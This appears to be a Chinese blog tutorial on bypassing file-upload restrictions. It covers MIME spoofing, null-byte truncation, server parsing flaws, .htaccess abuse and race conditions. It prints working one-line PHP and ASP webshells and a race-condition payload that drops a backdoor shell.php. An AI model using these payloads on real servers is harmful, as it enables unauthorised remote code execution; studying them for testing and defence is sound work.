文件上传漏洞一些思路、绕过总结

一句话木马 webshell

  • <?php @eval($_REQUEST[cmd]); ?>;
  • <%execute(request("cmd")) %>

cmd=echo get_current_user()

cmd=echo getcwd()

客户端验证和文件类型绕过

  • 黑名单验证机制:明确不允许上传的文件类型,允许未在黑名单内的类型上传
  • 白名单验证机制:明确列出可以上传的文件类型,拒绝未在白名单内的类型上传

客户端JavaScript做安全性验证没有任何安全保障,可以被修改和删除

  • 直接修改:将验证函数复制到Console面板中,修改代码,一次有效
  • 删除验证代码:删除事件
  • 禁用JavaScript

文件类型content-type绕过,检查MIME类型,常见有text/plain,text/plain,image/png,image/jpeg,image/gif等等

  • 通过bp抓包修改文件content-type类型
  • 文件头编码绕过,制作图片马绕过,后续寻找其他漏洞触发,如文件包含

copy gif.gif/b + eval.php eval.gif

服务端操作系统关联性漏洞

::DATA绕过、大小写绕过、特殊字符解析漏洞、

.php::DATA,若服务端是Windows系统,则会被解析为php

编码格式绕过白名单

截断绕过其中的00截断是绕过白名单防御的一种方式

00一般在文件中表示结束符号,有多种编码方式。例如,%00是URL编码方式,通常用于GET型消息的编码;0x00是十六进制编码方式,通常用于POST型消息的编码。

可以通过构造如同“eval.php%00.jpg”或者“eval.php0x00.jpg”这样的文件,导致最终被解析为“eval.php”,变成木马

0x00只能在十六进制模式下修改,在“Hex”页签中修改

web服务器配置型漏洞

配置文件指定了特定后缀文件交由谁解析,如将*.php文件交由PHP解析,那么如“.php3”、“*.php4”、“*.php5”、“*.pht”、"*.phtml"、等等后缀就可以考虑

IIS服务器解析漏洞:5.x到6.0版本
  • 建立以*.asp、*.asa格式的文件夹下的文件会以asp解析
  • *.asp;1.jpg会以asp解析,IIS不解析分号“;”
Ngix解析漏洞:

Ngix低版本中存在的一个有PHP-CGI导致的文件解析漏洞,PHP的配置文件php.ini中的cgi.fix_pathinfo默认处于开启状态,即cgi.fix_pathinfo=1,效果就是当用户访问一个服务端托管在Ngix上的服务时,如果URL中有不存在的文件,那么Ngix引擎就会默认向前解析,直到找到能够去解析的文件类型。如a.com/x.txt/x.php的x.txt会被解析为php,由于访问的格式以及指定到x.php上,Ngix服务会继续往前寻找存在的文件,并用php解析。使得可以用PHP去解析txt等文件。

Apache解析漏洞:

Apache 1.x到2.x 版本中,当Apache遇到不认识的扩展名时会依次向前解析,若都不认识则暴露源码

Apache的“.htaccess”漏洞:

".htaccess"文件也叫做分布式配置文件,没有名字,只有点和后缀,可以针对目录改变配置,即在一个特定的目录中放置包含一个或多个指令的“.htaccess”文件,作用于该目录及其子目录。需要以管理员身份运行,且只能绕过黑名单。

如上传”AddType application/x-httpd-php .jpg“,则表示所在文件夹的所有*.jpg文件都会被当作php解析。

先上传.htaccess文件,再上传带有参数的图片马。

条件竞争

条件竞争漏洞源于 “文件上传后未及时重命名 / 移动 / 删除” 的时间差。攻击者可利用这个时间差,在服务器将临时文件移动到目标路径(或进行安全校验)之前,快速访问临时文件,从而上传恶意脚本。

若代码中存在 “先存储临时文件→再进行复杂校验→最后移动 / 删除” 的分步逻辑,才会出现明显的时间差,进而有可能存在条件竞争漏洞。

服务器处理一个文件的时间极短,要想在服务器执行删除或移动之前访问上传文件,可以通过并发发送大量的PHP一句话木马,同时发送大量的文件包含请求来访问这个PHP文件,这样就有机会竞争成功,成功访问。

if(isset($_POST['submit'])){
  $ext_arr=array('jpg','png','gif');
  $file_name=$_FILES['upload_file']['name'];
  $temp_file=$_FILES['upload_file']['tmp_name'];
  $file_ext=substr($file_name,strrpos($tmp_name,".")+1);
  $upload_file=UPLOAD_PATH.'/'.$file_name;
  
  if(move_uploaded_file($temp_file,$upload_file)){
    if(in_array($file_ext,$ext_arr)){
      $img_path=UPLOAD_PATH.'/'.rand(10,99).date("YmdHis")."."$file_ext;
      rename($upload_file,$img_path);
      $is_upload=true;
    }else{
      $msg="只允许上传xxx类型文件";
      unlink($upload_file);
    }
  }else{
    $msg='上传错误';
  }
}

在此段代码中存在明显的时间差:存储临时文件→文件类型检验→删除

palyload:设计上传文件eval.php

<?php
  $b='<?php @eval($_REQUEST[\'backdoor\']); ?>'
  file_put_contents('shell.php',$b);
?>

其次构造访问该数据包的请求,若访问成功,则会留下shell.php文件。

【无人机】基于改进粒子群算法的无人机路径规划研究[和遗传算法、粒子群算法进行比较](Matlab代码实现)内容概要:本文围绕基于改进粒子群算法的无人机路径规划展开研究,重点探讨了在复杂环境中利用改进粒子群算法(PSO)实现无人机三维路径规划的方法,并将其与遗传算法(GA)、标准粒子群算法等传统优化算法进行对比分析。研究内容涵盖路径规划的多目标优化、避障策略、航路点约束以及算法收敛性和寻优能力的评估,所有实验均通过Matlab代码实现,提供了完整的仿真验证流程。文章还提到了多种智能优化算法在无人机路径规划中的应用比较,突出了改进PSO在收敛速度和全局寻优方面的优势。; 适合人群:具备一定Matlab编程基础和优化算法知识的研究生、科研人员及从事无人机路径规划、智能优化算法研究的相关技术人员。; 使用场景及目标:①用于无人机在复杂地形或动态环境下的三维路径规划仿真研究;②比较不同智能优化算法(如PSO、GA、蚁群算法、RRT等)在路径规划中的性能差异;③为多目标优化问题提供算法选型和改进思路。; 阅读建议:建议读者结合文中提供的Matlab代码进行实践操作,重点关注算法的参数设置、适应度函数设计及路径约束处理方式,同时可参考文中提到的多种算法对比思路,拓展到其他智能优化算法的研究与改进中。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Forfun_tt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值